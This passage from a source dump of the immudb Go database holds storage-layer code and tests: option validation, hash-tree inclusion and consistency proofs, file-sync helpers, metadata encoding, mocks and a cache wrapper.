i++ { tree, err := Open(path, opts) require.NoError(t, err) var bs [1]byte for j := 0; j < 1025; j++ { _, _, err = tree.Append(bs[:]) require.NoError(t, err) } tree.Close() } } ================================================ FILE: embedded/ahtree/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package ahtree import ( "fmt" "os" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" ) const DefaultFileSize = multiapp.DefaultFileSize const DefaultFileMode = os.FileMode(0755) const DefaultDataCacheSlots = 1_000 const DefaultDigestsCacheSlots = 100_000 const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel const DefaultSyncThld = 100_000 const DefaultWriteBufferSize = 1 << 24 //16Mb type AppFactoryFunc func( rootPath string, subPath string, opts *multiapp.Options, ) (appendable.Appendable, error) type Options struct { readOnly bool readBufferSize int writeBufferSize int retryableSync bool // if retryableSync is enabled, buffer space is released only after a successful sync autoSync bool // if autoSync is enabled, sync is called when the buffer is full syncThld int // sync after appending the specified amount of values fileMode os.FileMode appFactory AppFactoryFunc dataCacheSlots int digestsCacheSlots int // Options below are only set during initialization and stored as metadata fileSize int compressionFormat int compressionLevel int } func DefaultOptions() *Options { return &Options{ readOnly: false, readBufferSize: multiapp.DefaultReadBufferSize, writeBufferSize: multiapp.DefaultWriteBufferSize, retryableSync: true, autoSync: true, syncThld: DefaultSyncThld, fileMode: DefaultFileMode, dataCacheSlots: DefaultDataCacheSlots, digestsCacheSlots: DefaultDigestsCacheSlots, // Options below are only set during initialization and stored as metadata fileSize: DefaultFileSize, compressionFormat: DefaultCompressionFormat, compressionLevel: DefaultCompressionLevel, } } func (opts *Options) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", ErrInvalidOptions) } if opts.fileSize <= 0 { return fmt.Errorf("%w: invalid fileSize", ErrInvalidOptions) } if opts.dataCacheSlots <= 0 { return fmt.Errorf("%w: invalid dataCacheSlots", ErrInvalidOptions) } if opts.digestsCacheSlots <= 0 { return fmt.Errorf("%w: invalid digestsCacheSlots", ErrInvalidOptions) } if opts.readBufferSize <= 0 { return fmt.Errorf("%w: invalid readBufferSize", ErrInvalidOptions) } if !opts.readOnly && opts.writeBufferSize <= 0 { return fmt.Errorf("%w: invalid writeBufferSize", ErrInvalidOptions) } if !opts.readOnly && opts.syncThld <= 0 { return fmt.Errorf("%w: invalid syncThld", ErrInvalidOptions) } return nil } func (opts *Options) WithReadOnly(readOnly bool) *Options { opts.readOnly = readOnly return opts } func (opts *Options) WithReadBufferSize(size int) *Options { opts.readBufferSize = size return opts } func (opts *Options) WithWriteBufferSize(size int) *Options { opts.writeBufferSize = size return opts } func (opts *Options) WithRetryableSync(retryableSync bool) *Options { opts.retryableSync = retryableSync return opts } func (opts *Options) WithAutoSync(autoSync bool) *Options { opts.autoSync = autoSync return opts } func (opts *Options) WithSyncThld(syncThld int) *Options { opts.syncThld = syncThld return opts } func (opts *Options) WithFileMode(fileMode os.FileMode) *Options { opts.fileMode = fileMode return opts } func (opts *Options) WithDataCacheSlots(cacheSlots int) *Options { opts.dataCacheSlots = cacheSlots return opts } func (opts *Options) WithDigestsCacheSlots(cacheSlots int) *Options { opts.digestsCacheSlots = cacheSlots return opts } func (opts *Options) WithFileSize(fileSize int) *Options { opts.fileSize = fileSize return opts } func (opts *Options) WithCompressionFormat(compressionFormat int) *Options { opts.compressionFormat = compressionFormat return opts } func (opts *Options) WithCompresionLevel(compressionLevel int) *Options { opts.compressionLevel = compressionLevel return opts } func (opts *Options) WithAppFactory(appFactory AppFactoryFunc) *Options { opts.appFactory = appFactory return opts } ================================================ FILE: embedded/ahtree/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package ahtree import ( "testing" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/stretchr/testify/require" ) func TestInvalidOptions(t *testing.T) { for _, d := range []struct { n string opts *Options }{ {"nil", nil}, {"empty", &Options{}}, {"FileSize", DefaultOptions().WithFileSize(0)}, {"DataCacheSlots", DefaultOptions().WithDataCacheSlots(0)}, {"DigestsCacheSlots", DefaultOptions().WithDigestsCacheSlots(0)}, {"ReadBufferSize", DefaultOptions().WithReadBufferSize(0)}, {"SyncThld", DefaultOptions().WithReadOnly(false).WithSyncThld(0)}, {"WriteBufferSize", DefaultOptions().WithReadOnly(false).WithWriteBufferSize(0)}, } { t.Run(d.n, func(t *testing.T) { require.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions) }) } } func TestDefaultOptions(t *testing.T) { require.NoError(t, DefaultOptions().Validate()) } func TestValidOptions(t *testing.T) { opts := &Options{} dummyAppFactory := func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { return nil, nil } require.Equal(t, DefaultFileSize, opts.WithFileSize(DefaultFileSize).fileSize) require.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).fileMode) require.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).compressionFormat) require.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).compressionLevel) require.Equal(t, DefaultDataCacheSlots, opts.WithDataCacheSlots(DefaultDataCacheSlots).dataCacheSlots) require.Equal(t, DefaultDigestsCacheSlots, opts.WithDigestsCacheSlots(DefaultDigestsCacheSlots).digestsCacheSlots) require.NotNil(t, opts.WithAppFactory(dummyAppFactory).appFactory) require.True(t, opts.WithReadOnly(true).readOnly) require.Equal(t, multiapp.DefaultReadBufferSize, opts.WithReadBufferSize(multiapp.DefaultReadBufferSize).readBufferSize) require.Equal(t, 0, opts.WithWriteBufferSize(0).writeBufferSize) require.Equal(t, 0, opts.WithSyncThld(0).syncThld) require.NoError(t, opts.Validate()) require.False(t, opts.WithReadOnly(false).readOnly) require.Equal(t, multiapp.DefaultWriteBufferSize, opts.WithWriteBufferSize(multiapp.DefaultWriteBufferSize).writeBufferSize) require.True(t, opts.WithRetryableSync(true).retryableSync) require.True(t, opts.WithAutoSync(true).autoSync) require.Equal(t, DefaultSyncThld, opts.WithSyncThld(DefaultSyncThld).syncThld) require.NoError(t, opts.Validate()) require.True(t, opts.WithReadOnly(true).readOnly) require.NoError(t, opts.Validate()) } ================================================ FILE: embedded/ahtree/verification.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package ahtree import "crypto/sha256" func VerifyInclusion(iproof [][sha256.Size]byte, i, j uint64, iLeaf, jRoot [sha256.Size]byte) bool { if i > j || i == 0 || (i < j && len(iproof) == 0) { return false } ciRoot := EvalInclusion(iproof, i, j, iLeaf) return jRoot == ciRoot } func EvalInclusion(iproof [][sha256.Size]byte, i, j uint64, iLeaf [sha256.Size]byte) [sha256.Size]byte { i1 := i - 1 j1 := j - 1 ciRoot := iLeaf b := [1 + sha256.Size*2]byte{NodePrefix} for _, h := range iproof { if i1%2 == 0 && i1 != j1 { copy(b[1:], ciRoot[:]) copy(b[sha256.Size+1:], h[:]) } else { copy(b[1:], h[:]) copy(b[sha256.Size+1:], ciRoot[:]) } ciRoot = sha256.Sum256(b[:]) i1 >>= 1 j1 >>= 1 } return ciRoot } func VerifyConsistency(cproof [][sha256.Size]byte, i, j uint64, iRoot, jRoot [sha256.Size]byte) bool { if i > j || i == 0 || (i < j && len(cproof) == 0) { return false } if i == j && len(cproof) == 0 { return iRoot == jRoot } ciRoot, cjRoot := EvalConsistency(cproof, i, j) return iRoot == ciRoot && jRoot == cjRoot } func EvalConsistency(cproof [][sha256.Size]byte, i, j uint64) ([sha256.Size]byte, [sha256.Size]byte) { fn := i - 1 sn := j - 1 for fn%2 == 1 { fn >>= 1 sn >>= 1 } ciRoot, cjRoot := cproof[0], cproof[0] b := [1 + sha256.Size*2]byte{NodePrefix} for _, h := range cproof[1:] { if fn%2 == 1 || fn == sn { copy(b[1:], h[:]) copy(b[1+sha256.Size:], ciRoot[:]) ciRoot = sha256.Sum256(b[:]) copy(b[1+sha256.Size:], cjRoot[:]) cjRoot = sha256.Sum256(b[:]) for fn%2 == 0 && fn != 0 { fn >>= 1 sn >>= 1 } } else { copy(b[1:], cjRoot[:]) copy(b[1+sha256.Size:], h[:]) cjRoot = sha256.Sum256(b[:]) } fn >>= 1 sn >>= 1 } return ciRoot, cjRoot } func VerifyLastInclusion(iproof [][sha256.Size]byte, i uint64, leaf, root [sha256.Size]byte) bool { if i == 0 { return false } return root == EvalLastInclusion(iproof, i, leaf) } func EvalLastInclusion(iproof [][sha256.Size]byte, i uint64, leaf [sha256.Size]byte) [sha256.Size]byte { i1 := i - 1 root := leaf b := [1 + sha256.Size*2]byte{NodePrefix} for _, h := range iproof { copy(b[1:], h[:]) copy(b[sha256.Size+1:], root[:]) root = sha256.Sum256(b[:]) i1 >>= 1 } return root } ================================================ FILE: embedded/ahtree/verification_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package ahtree import ( "crypto/sha256" "testing" "github.com/stretchr/testify/require" ) func TestVerificationEdgeCases(t *testing.T) { require.False(t, VerifyInclusion(nil, 1, 10, sha256.Sum256(nil), sha256.Sum256(nil))) require.False(t, VerifyInclusion(nil, 10, 1, sha256.Sum256(nil), sha256.Sum256(nil))) require.False(t, VerifyConsistency(nil, 1, 10, sha256.Sum256(nil), sha256.Sum256(nil))) require.False(t, VerifyConsistency(nil, 10, 1, sha256.Sum256(nil), sha256.Sum256(nil))) } ================================================ FILE: embedded/appendable/appendable.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package appendable import ( "compress/flate" "crypto/sha256" "io" ) const DefaultCompressionFormat = NoCompression const DefaultCompressionLevel = BestSpeed const ( NoCompression = iota FlateCompression GZipCompression LZWCompression ZLibCompression ) const ( BestSpeed = flate.BestSpeed BestCompression = flate.BestCompression DefaultCompression = flate.DefaultCompression HuffmanOnly = flate.HuffmanOnly ) type Appendable interface { Metadata() []byte Size() (int64, error) Offset() int64 SetOffset(off int64) error DiscardUpto(off int64) error Append(bs []byte) (off int64, n int, err error) Flush() error Sync() error SwitchToReadOnlyMode() error ReadAt(bs []byte, off int64) (int, error) Close() error Copy(dstPath string) error CompressionFormat() int CompressionLevel() int } func Checksum(rAt io.ReaderAt, off, n int64) (checksum [sha256.Size]byte, err error) { h := sha256.New() r := io.NewSectionReader(rAt, off, n) c, err := io.Copy(h, r) if err != nil { return } if c < n { return checksum, io.EOF } copy(checksum[:], h.Sum(nil)) return checksum, nil } ================================================ FILE: embedded/appendable/fileutils/fileutils.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fileutils import "os" func SyncDir(paths ...string) error { for _, path := range paths { err := syncDir(path) if err != nil { return err } } return nil } func Fdatasync(f *os.File) error { return fdatasync(f) } ================================================ FILE: embedded/appendable/fileutils/fileutils_darwin.go ================================================ //go:build darwin // +build darwin /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fileutils import "os" func syncDir(path string) error { f, err := os.Open(path) if err != nil { return err } defer f.Close() return f.Sync() } func fdatasync(f *os.File) error { return f.Sync() } ================================================ FILE: embedded/appendable/fileutils/fileutils_freebsd.go ================================================ //go:build freebsd // +build freebsd /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fileutils import "os" func syncDir(path string) error { f, err := os.Open(path) if err != nil { return err } defer f.Close() return f.Sync() } func fdatasync(f *os.File) error { return f.Sync() } ================================================ FILE: embedded/appendable/fileutils/fileutils_linux.go ================================================ //go:build linux // +build linux /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fileutils import ( "golang.org/x/sys/unix" "os" ) func syncDir(path string) error { f, err := os.Open(path) if err != nil { return err } defer f.Close() return f.Sync() } func fdatasync(f *os.File) error { return unix.Fdatasync(int(f.Fd())) } ================================================ FILE: embedded/appendable/fileutils/fileutils_unix_nonlinux.go ================================================ //go:build unix && !linux && !darwin && !freebsd // +build unix,!linux,!darwin,!freebsd /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fileutils import "os" func syncDir(path string) error { f, err := os.Open(path) if err != nil { return err } defer f.Close() return f.Sync() } func fdatasync(f *os.File) error { return f.Sync() } ================================================ FILE: embedded/appendable/fileutils/fileutils_windows.go ================================================ //go:build windows // +build windows /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fileutils import "os" func syncDir(path string) error { return nil } func fdatasync(f *os.File) error { return f.Sync() } ================================================ FILE: embedded/appendable/metadata.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package appendable import ( "bufio" "bytes" "encoding/binary" "io" ) type Metadata struct { data map[string][]byte } func NewMetadata(b []byte) *Metadata { m := &Metadata{ data: make(map[string][]byte), } if b != nil { bb := bytes.NewBuffer(b) m.ReadFrom(bufio.NewReader(bb)) } return m } func (m *Metadata) Bytes() []byte { var b bytes.Buffer w := bufio.NewWriter(&b) m.WriteTo(w) w.Flush() return b.Bytes() } func (m *Metadata) ReadFrom(r io.Reader) (int64, error) { lenb, err := readField(r) if err != nil { return 0, err } len := int(binary.BigEndian.Uint32(lenb)) for i := 0; i < len; i++ { k, err := readField(r) if err != nil { return 0, err } v, err := readField(r) if err != nil { return 0, err } m.data[string(k)] = v } return int64(len), nil } func (m *Metadata) WriteTo(w io.Writer) (n int64, err error) { var lenb [4]byte binary.BigEndian.PutUint32(lenb[:], uint32(len(m.data))) wn, err := writeField(lenb[:], w) n += int64(wn) if err != nil { return } for k, v := range m.data { wn, err = writeField([]byte(k), w) n += int64(wn) if err != nil { return } wn, err = writeField(v, w) n += int64(wn) if err != nil { return } } return } func (m *Metadata) PutInt(key string, n int) { var b [8]byte binary.BigEndian.PutUint64(b[:], uint64(n)) m.Put(key, b[:]) } func (m *Metadata) GetInt(key string) (int, bool) { v, ok := m.Get(key) if !ok { return 0, false } return int(binary.BigEndian.Uint64(v)), true } func (m *Metadata) PutBool(key string, v bool) { var b [1]byte if v { b[0] = 1 } m.Put(key, b[:]) } func (m *Metadata) GetBool(key string) (bool, bool) { v, ok := m.Get(key) if !ok { return false, false } return v[0] != 0, true } func (m *Metadata) Put(key string, value []byte) { m.data[key] = value } func (m *Metadata) Get(key string) ([]byte, bool) { v, ok := m.data[key] return v, ok } func readField(r io.Reader) ([]byte, error) { var lenb [4]byte _, err := r.Read(lenb[:]) if err != nil { return nil, err } len := binary.BigEndian.Uint32(lenb[:]) fb := make([]byte, len) _, err = r.Read(fb) if err != nil { return nil, err } return fb, nil } func writeField(b []byte, w io.Writer) (n int, err error) { var lenb [4]byte binary.BigEndian.PutUint32(lenb[:], uint32(len(b))) wn, err := w.Write(lenb[:]) n += wn if err != nil { return n, err } wn, err = w.Write(b) n += wn return } ================================================ FILE: embedded/appendable/metadata_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package appendable import ( "errors" "fmt" "testing" "github.com/stretchr/testify/require" ) type mockedIOReader struct { } func (w *mockedIOReader) Read(b []byte) (int, error) { return 0, errors.New("error") } type mockedIOWriter struct { } func (w *mockedIOWriter) Write(b []byte) (int, error) { return 0, errors.New("error") } func TestMedatada(t *testing.T) { md := NewMetadata(nil) _, found := md.Get("intKey") require.False(t, found) _, found = md.GetInt("intKey") require.False(t, found) _, found = md.Get("boolKey") require.False(t, found) _, found = md.GetBool("boolKey") require.False(t, found) for i := 0; i < 10; i++ { md.PutInt(fmt.Sprintf("intKey_%d", i), i) md.PutBool(fmt.Sprintf("boolKey_%d", i), i%2 == 0) } for i := 0; i < 10; i++ { iv, found := md.GetInt(fmt.Sprintf("intKey_%d", i)) require.True(t, found) require.Equal(t, i, iv) bv, found := md.GetBool(fmt.Sprintf("boolKey_%d", i)) require.True(t, found) require.Equal(t, i%2 == 0, bv) } md1 := NewMetadata(md.Bytes()) for i := 0; i < 10; i++ { v, found := md1.GetInt(fmt.Sprintf("intKey_%d", i)) require.True(t, found) require.Equal(t, i, v) bv, found := md.GetBool(fmt.Sprintf("boolKey_%d", i)) require.True(t, found) require.Equal(t, i%2 == 0, bv) } mockedReader := &mockedIOReader{} _, err := md.ReadFrom(mockedReader) require.Error(t, err) mockedWriter := &mockedIOWriter{} _, err = md.WriteTo(mockedWriter) require.Error(t, err) } ================================================ FILE: embedded/appendable/mocked/mocked.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package mocked type MockedAppendable struct { MetadataFn func() []byte SizeFn func() (int64, error) OffsetFn func() int64 SetOffsetFn func(off int64) error DiscardUptoFn func(off int64) error AppendFn func(bs []byte) (off int64, n int, err error) FlushFn func() error SyncFn func() error SwitchToReadOnlyModeFn func() error ReadAtFn func(bs []byte, off int64) (int, error) CopyFn func(dstPath string) error CloseFn func() error CompressionFormatFn func() int CompressionLevelFn func() int } func (a *MockedAppendable) Metadata() []byte { return a.MetadataFn() } func (a *MockedAppendable) Copy(dstPath string) error { return a.CopyFn(dstPath) } func (a *MockedAppendable) Size() (int64, error) { return a.SizeFn() } func (a *MockedAppendable) Offset() int64 { return a.OffsetFn() } func (a *MockedAppendable) SetOffset(off int64) error { return a.SetOffsetFn(off) } func (a *MockedAppendable) DiscardUpto(off int64) error { return a.DiscardUptoFn(off) } func (a *MockedAppendable) Append(bs []byte) (off int64, n int, err error) { return a.AppendFn(bs) } func (a *MockedAppendable) Flush() error { return a.FlushFn() } func (a *MockedAppendable) Sync() error { return a.SyncFn() } func (a *MockedAppendable) SwitchToReadOnlyMode() error { return a.SwitchToReadOnlyModeFn() } func (a *MockedAppendable) ReadAt(bs []byte, off int64) (int, error) { return a.ReadAtFn(bs, off) } func (a *MockedAppendable) Close() error { return a.CloseFn() } func (a *MockedAppendable) CompressionFormat() int { return a.CompressionFormatFn() } func (a MockedAppendable) CompressionLevel() int { return a.CompressionLevelFn() } ================================================ FILE: embedded/appendable/mocked/mocked_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package mocked import ( "testing" "github.com/stretchr/testify/require" ) func TestMocked(t *testing.T) { mocked := &MockedAppendable{} mocked.MetadataFn = func() []byte { return nil } mocked.CopyFn = func(path string) error { return nil } mocked.SizeFn = func() (int64, error) { return 0, nil } mocked.OffsetFn = func() int64 { return 0 } mocked.SetOffsetFn = func(off int64) error { return nil } mocked.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, 0, nil } mocked.DiscardUptoFn = func(off int64) error { return nil } mocked.FlushFn = func() error { return nil } mocked.SyncFn = func() error { return nil } mocked.SwitchToReadOnlyModeFn = func() error { return nil } mocked.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, nil } mocked.CloseFn = func() error { return nil } mocked.CompressionFormatFn = func() int { return 999 } mocked.CompressionLevelFn = func() int { return 998 } md := mocked.Metadata() require.Nil(t, md) err := mocked.Copy("copy") require.NoError(t, err) sz, err := mocked.Size() require.Equal(t, int64(0), sz) require.NoError(t, err) off := mocked.Offset() require.Equal(t, int64(0), off) err = mocked.SetOffset(0) require.NoError(t, err) off, n, err := mocked.Append(nil) require.Equal(t, int64(0), off) require.Equal(t, 0, n) require.NoError(t, err) err = mocked.DiscardUpto(1) require.NoError(t, err) err = mocked.Flush() require.NoError(t, err) err = mocked.Sync() require.NoError(t, err) err = mocked.SwitchToReadOnlyMode() require.NoError(t, err) n, err = mocked.ReadAt(nil, 0) require.Equal(t, 0, n) require.NoError(t, err) err = mocked.Close() require.NoError(t, err) require.Equal(t, 999, mocked.CompressionFormat()) require.Equal(t, 998, mocked.CompressionLevel()) } ================================================ FILE: embedded/appendable/multiapp/appendable_cache.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package multiapp import ( "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/cache" ) type appendableCache struct { cache *cache.Cache } func (c appendableCache) Put(key int64, value appendable.Appendable) (int64, appendable.Appendable, error) { k, v, err := c.cache.Put(key, value) rkey, _ := k.(int64) rvalue, _ := v.(appendable.Appendable) return rkey, rvalue, err } func (c appendableCache) Get(key int64) (appendable.Appendable, error) { v, err := c.cache.Get(key) rvalue, _ := v.(appendable.Appendable) return rvalue, err } func (c appendableCache) Pop(key int64) (appendable.Appendable, error) { v, err := c.cache.Pop(key) rvalue, _ := v.(appendable.Appendable) return rvalue, err } func (c appendableCache) Replace(key int64, value appendable.Appendable) (appendable.Appendable, error) { v, err := c.cache.Replace(key, value) rvalue, _ := v.(appendable.Appendable) return rvalue, err } func (c appendableCache) Apply(fun func(k int64, v appendable.Appendable) error) error { return c.cache.Apply(func(k, v interface{}) error { return fun(k.(int64), v.(appendable.Appendable)) }) } ================================================ FILE: embedded/appendable/multiapp/appendable_cache_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package multiapp import ( "testing" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/mocked" "github.com/codenotary/immudb/embedded/cache" "github.com/stretchr/testify/require" ) func TestAppendableCache(t *testing.T) { genericCache, err := cache.NewCache(5) require.NoError(t, err) c := appendableCache{cache: genericCache} m1 := &mocked.MockedAppendable{} id, app, err := c.Put(1, m1) require.NoError(t, err) require.Nil(t, app) require.Zero(t, id) app, err = c.Get(1) require.NoError(t, err) require.Equal(t, m1, app) err = c.Apply(func(k int64, v appendable.Appendable) error { require.EqualValues(t, 1, k) require.Equal(t, m1, v) return nil }) require.NoError(t, err) for i := 2; i < 6; i++ { id, app, err = c.Put(int64(i), &mocked.MockedAppendable{}) require.NoError(t, err) require.Zero(t, id) require.Nil(t, app) } m2 := &mocked.MockedAppendable{} id, app, err = c.Put(7, m2) require.NoError(t, err) require.EqualValues(t, 2, id) require.Equal(t, m1, app) m3 := &mocked.MockedAppendable{} app, err = c.Replace(7, m3) require.NoError(t, err) require.Equal(t, m2, app) err = c.Apply(func(k int64, v appendable.Appendable) error { if k == 7 { require.Equal(t, m3, v) } return nil }) require.NoError(t, err) app, err = c.Pop(7) require.NoError(t, err) require.Equal(t, m3, app) err = c.Apply(func(k int64, v appendable.Appendable) error { require.NotEqualValues(t, 7, k) return nil }) require.NoError(t, err) } ================================================ FILE: embedded/appendable/multiapp/metrics.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package multiapp import ( "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" ) var ( // ---- Cache --------------------------------------- metricsCacheEvents = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_multiapp_cache_events", Help: "Immudb multiapp cache event counters", }, []string{"event"}) metricsCacheEvicted = metricsCacheEvents.WithLabelValues("evicted") metricsCacheHit = metricsCacheEvents.WithLabelValues("hit") metricsCacheMiss = metricsCacheEvents.WithLabelValues("miss") // ---- Read stats --------------------------------------- metricsReadEvents = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_multiapp_read_events", Help: "Immudb multiapp read event counters", }, []string{"event"}) metricsReads = metricsReadEvents.WithLabelValues("total_reads") metricsReadErrors = metricsReadEvents.WithLabelValues("errors") metricsReadBytes = promauto.NewCounter(prometheus.CounterOpts{ Name: "immudb_multiapp_read_bytes", Help: "Number of bytes read", }) ) ================================================ FILE: embedded/appendable/multiapp/multi_app.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package multiapp import ( "errors" "fmt" "io" "os" "path" "path/filepath" "strconv" "strings" "sync" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/fileutils" "github.com/codenotary/immudb/embedded/appendable/singleapp" "github.com/codenotary/immudb/embedded/cache" ) var ErrorPathIsNotADirectory = errors.New("multiapp: path is not a directory") var ErrIllegalArguments = errors.New("multiapp: illegal arguments") var 